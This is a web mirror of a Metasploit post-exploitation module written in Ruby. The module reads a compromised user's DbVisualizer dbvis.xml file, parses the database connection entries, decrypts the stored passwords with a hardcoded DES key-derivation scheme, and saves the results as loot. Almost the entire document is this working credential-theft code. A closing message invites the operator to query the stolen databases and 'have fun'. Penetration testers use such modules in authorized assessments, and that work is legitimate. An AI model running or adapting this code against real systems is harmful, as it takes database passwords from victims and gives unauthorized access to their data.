CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/dbvis_enum.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'openssl'
7
require 'digest/md5'
8
9
class MetasploitModule < Msf::Post
10
include Msf::Post::File
11
include Msf::Post::Unix
12
include Msf::Auxiliary::Report
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Multi Gather DbVisualizer Connections Settings',
19
'Description' => %q{
20
DbVisualizer stores the user database configuration in dbvis.xml.
21
This module retrieves the connections settings from this file and decrypts the encrypted passwords.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
25
'Platform' => %w[linux win],
26
'SessionTypes' => [ 'meterpreter', 'shell'],
27
'Compat' => {
28
'Meterpreter' => {
29
'Commands' => %w[
30
stdapi_sys_config_getenv
31
]
32
}
33
}
34
)
35
)
36
register_options(
37
[
38
OptString.new('PASSPHRASE', [false, 'The hardcoded passphrase used for encryption']),
39
OptInt.new('ITERATION_COUNT', [false, 'The iteration count used in key derivation', 10])
40
], super.class
41
)
42
end
43
44
def run
45
oldversion = false
46
47
case session.platform
48
when 'linux'
49
user = session.shell_command('whoami').chomp
50
print_status("Current user is #{user}")
51
if user =~ /root/
52
user_base = '/root/'
53
else
54
user_base = "/home/#{user}/"
55
end
56
dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"
57
when 'windows'
58
if session.type == 'meterpreter'
59
user_profile = session.sys.config.getenv('USERPROFILE')
60
else
61
user_profile = cmd_exec('echo %USERPROFILE%').strip
62
end
63
dbvis_file = user_profile + '\\.dbvis\\config70\\dbvis.xml'
64
end
65
66
unless file?(dbvis_file)
67
# File not found, we next try with the old config path
68
print_status("File not found: #{dbvis_file}")
69
print_status('This could be an older version of dbvis, trying old path')
70
case session.platform
71
when 'linux'
72
dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
73
when 'windows'
74
dbvis_file = user_profile + '\\.dbvis\\config\\dbvis.xml'
75
end
76
unless file?(dbvis_file)
77
print_error("File not found: #{dbvis_file}")
78
return
79
end
80
oldversion = true
81
end
82
83
print_status("Reading: #{dbvis_file}")
84
print_line
85
raw_xml = ''
86
begin
87
raw_xml = read_file(dbvis_file)
88
rescue EOFError
89
# If there's nothing in the file, we hit EOFError
90
print_error("Nothing read from file: #{dbvis_file}, file may be empty")
91
return
92
end
93
94
if oldversion
95
# Parse old config file
96
db_table = parse_old_config_file(raw_xml)
97
else
98
# Parse new config file
99
db_table = parse_new_config_file(raw_xml)
100
end
101
102
if db_table.rows.empty?
103
print_status('No database settings found')
104
else
105
print_line
106
print_line(db_table.to_s)
107
print_good('Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun!')
108
print_line
109
# Store found databases in loot
110
p = store_loot('dbvis.databases', 'text/csv', session, db_table.to_csv, 'dbvis_databases.txt', 'dbvis databases')
111
print_good("Databases settings stored in: #{p}")
112
end
113
114
print_status("Downloading #{dbvis_file}")
115
p = store_loot('dbvis.xml', 'text/xml', session, read_file(dbvis_file), dbvis_file.to_s, 'dbvis config')
116
print_good "dbvis.xml saved to #{p}"
117
end
118
119
# New config file parse function
120
def parse_new_config_file(raw_xml)
121
db_table = Rex::Text::Table.new(
122
'Header' => 'DbVisualizer Databases',
123
'Indent' => 2,
124
'Columns' =>
125
[
126
'Alias',
127
'Type',
128
'Server',
129
'Port',
130
'Database',
131
'Namespace',
132
'UserID',
133
'Password'
134
]
135
)
136
137
dbs = []
138
db = {}
139
dbfound = false
140
version_found = false
141
# fetch config file
142
raw_xml.each_line do |line|
143
if version_found == false
144
version_found = find_version(line)
145
end
146
147
if line =~ /<Database id=/
148
dbfound = true
149
elsif line =~ %r{</Database>}
150
dbfound = false
151
if db[:Database].nil?
152
db[:Database] = ''
153
end
154
if db[:Namespace].nil?
155
db[:Namespace] = ''
156
end
157
# save
158
dbs << db if (db[:Alias] && db[:Type] && db[:Server] && db[:Port])
159
db = {}
160
end
161
162
next unless dbfound == true
163
164
# get the alias
165
if line =~ %r{<Alias>([\S+\s+]+)</Alias>}i
166
db[:Alias] = ::Regexp.last_match(1)
167
end
168
169
# get the type
170
if line =~ %r{<Type>([\S+\s+]+)</Type>}i
171
db[:Type] = ::Regexp.last_match(1)
172
end
173
174
# get the user
175
if line =~ %r{<Userid>([\S+\s+]+)</Userid>}i
176
db[:UserID] = ::Regexp.last_match(1)
177
end
178
179
# get user password
180
if line =~ %r{<Password>([\S+\s+]+)</Password>}i
181
enc_password = ::Regexp.last_match(1)
182
db[:Password] = decrypt_password(enc_password)
183
end
184
185
# get the server
186
if line =~ %r{<UrlVariable UrlVariableName="Server">([\S+\s+]+)</UrlVariable>}i
187
db[:Server] = ::Regexp.last_match(1)
188
end
189
190
# get the port
191
if line =~ %r{<UrlVariable UrlVariableName="Port">([\S+\s+]+)</UrlVariable>}i
192
db[:Port] = ::Regexp.last_match(1)
193
end
194
195
# get the database
196
if line =~ %r{<UrlVariable UrlVariableName="Database">([\S+\s+]+)</UrlVariable>}i
197
db[:Database] = ::Regexp.last_match(1)
198
end
199
200
# get the Namespace
201
if line =~ %r{<UrlVariable UrlVariableName="Namespace">([\S+\s+]+)</UrlVariable>}i
202
db[:Namespace] = ::Regexp.last_match(1)
203
end
204
end
205
206
# Fill the tab and report eligible servers
207
dbs.each do |db|
208
if ::Rex::Socket.is_ipv4?(db[:Server].to_s)
209
print_good("Reporting #{db[:Server]}")
210
report_host(host: db[:Server])
211
end
212
213
db_table << [ db[:Alias], db[:Type], db[:Server], db[:Port], db[:Database], db[:Namespace], db[:UserID], db[:Password] ]
214
report_cred(
215
ip: db[:Server],
216
port: db[:Port].to_i,
217
service_name: db[:Type],
218
username: db[:UserID],
219
password: db[:Password]
220
)
221
end
222
return db_table
223
end
224
225
# New config file parse function
226
def parse_old_config_file(raw_xml)
227
db_table = Rex::Text::Table.new(
228
'Header' => 'DbVisualizer Databases',
229
'Indent' => 2,
230
'Columns' =>
231
[
232
'Alias',
233
'Type',
234
'URL',
235
'UserID',
236
'Password'
237
]
238
)
239
240
dbs = []
241
db = {}
242
dbfound = false
243
version_found = false
244
245
# fetch config file
246
raw_xml.each_line do |line|
247
if version_found == false
248
vesrion_found = find_version(line)
249
end
250
251
if line =~ /<Database id=/
252
dbfound = true
253
elsif line =~ %r{</Database>}
254
dbfound = false
255
# save
256
dbs << db if (db[:Alias] && db[:Url])
257
db = {}
258
end
259
260
next unless dbfound == true
261
262
# get the alias
263
if line =~ %r{<Alias>([\S+\s+]+)</Alias>}i
264
db[:Alias] = ::Regexp.last_match(1)
265
end
266
267
# get the type
268
if line =~ %r{<Type>([\S+\s+]+)</Type>}i
269
db[:Type] = ::Regexp.last_match(1)
270
end
271
272
# get the user
273
if line =~ %r{<Userid>([\S+\s+]+)</Userid>}i
274
db[:UserID] = ::Regexp.last_match(1)
275
end
276
277
# get the user password
278
if line =~ %r{<Password>([\S+\s+]+)</Password>}i
279
enc_password = ::Regexp.last_match(1)
280
db[:Password] = decrypt_password(enc_password)
281
end
282
283
# get the server URL
284
if line =~ %r{<Url>(\S+)</Url>}i
285
db[:URL] = ::Regexp.last_match(1)
286
end
287
end
288
289
# Fill the tab
290
dbs.each do |db|
291
if (db[:URL] =~ %r{[\S+\s+]+/+([\S+\s+]+):[\S+]+}i)
292
server = ::Regexp.last_match(1)
293
if ::Rex::Socket.is_ipv4?(server)
294
print_good("Reporting #{server}")
295
report_host(host: server)
296
end
297
end
298
db_table << [ db[:Alias], db[:Type], db[:URL], db[:UserID], db[:Password] ]
299
report_cred(
300
ip: server,
301
port: '',
302
service_name: db[:Type],
303
username: db[:UserID],
304
password: db[:Password]
305
)
306
end
307
return db_table
308
end
309
310
def find_version(tag)
311
found = false
312
if tag =~ %r{<Version>([\S+\s+]+)</Version>}i
313
found = true
314
print_good("DbVisualizer version: #{::Regexp.last_match(1)}")
315
end
316
found
317
end
318
319
def report_cred(opts)
320
service_data = {
321
address: opts[:ip],
322
port: opts[:port],
323
service_name: opts[:service_name],
324
protocol: 'tcp',
325
workspace_id: myworkspace_id
326
}
327
328
credential_data = {
329
post_reference_name: refname,
330
session_id: session_db_id,
331
origin_type: :session,
332
private_data: opts[:password],
333
private_type: :password,
334
username: opts[:username]
335
}.merge(service_data)
336
337
login_data = {
338
core: create_credential(credential_data),
339
status: Metasploit::Model::Login::Status::UNTRIED
340
}.merge(service_data)
341
342
create_credential_login(login_data)
343
end
344
345
def decrypt_password(enc_password)
346
enc_password = Rex::Text.decode_base64(enc_password)
347
dk, iv = get_derived_key
348
des = OpenSSL::Cipher.new('DES-CBC')
349
des.decrypt
350
des.key = dk
351
des.iv = iv
352
password = des.update(enc_password) + des.final
353
end
354
355
def get_derived_key
356
key = passphrase + salt
357
iteration_count.times do
358
key = Digest::MD5.digest(key)
359
end
360
return key[0, 8], key[8, 8]
361
end
362
363
def salt
364
[-114, 18, 57, -100, 7, 114, 111, 90].pack('C*')
365
end
366
367
def passphrase
368
datastore['PASSPHRASE'] || 'qinda'
369
end
370
371
def iteration_count
372
datastore['ITERATION_COUNT'] || 10
373
end
374
end
375
376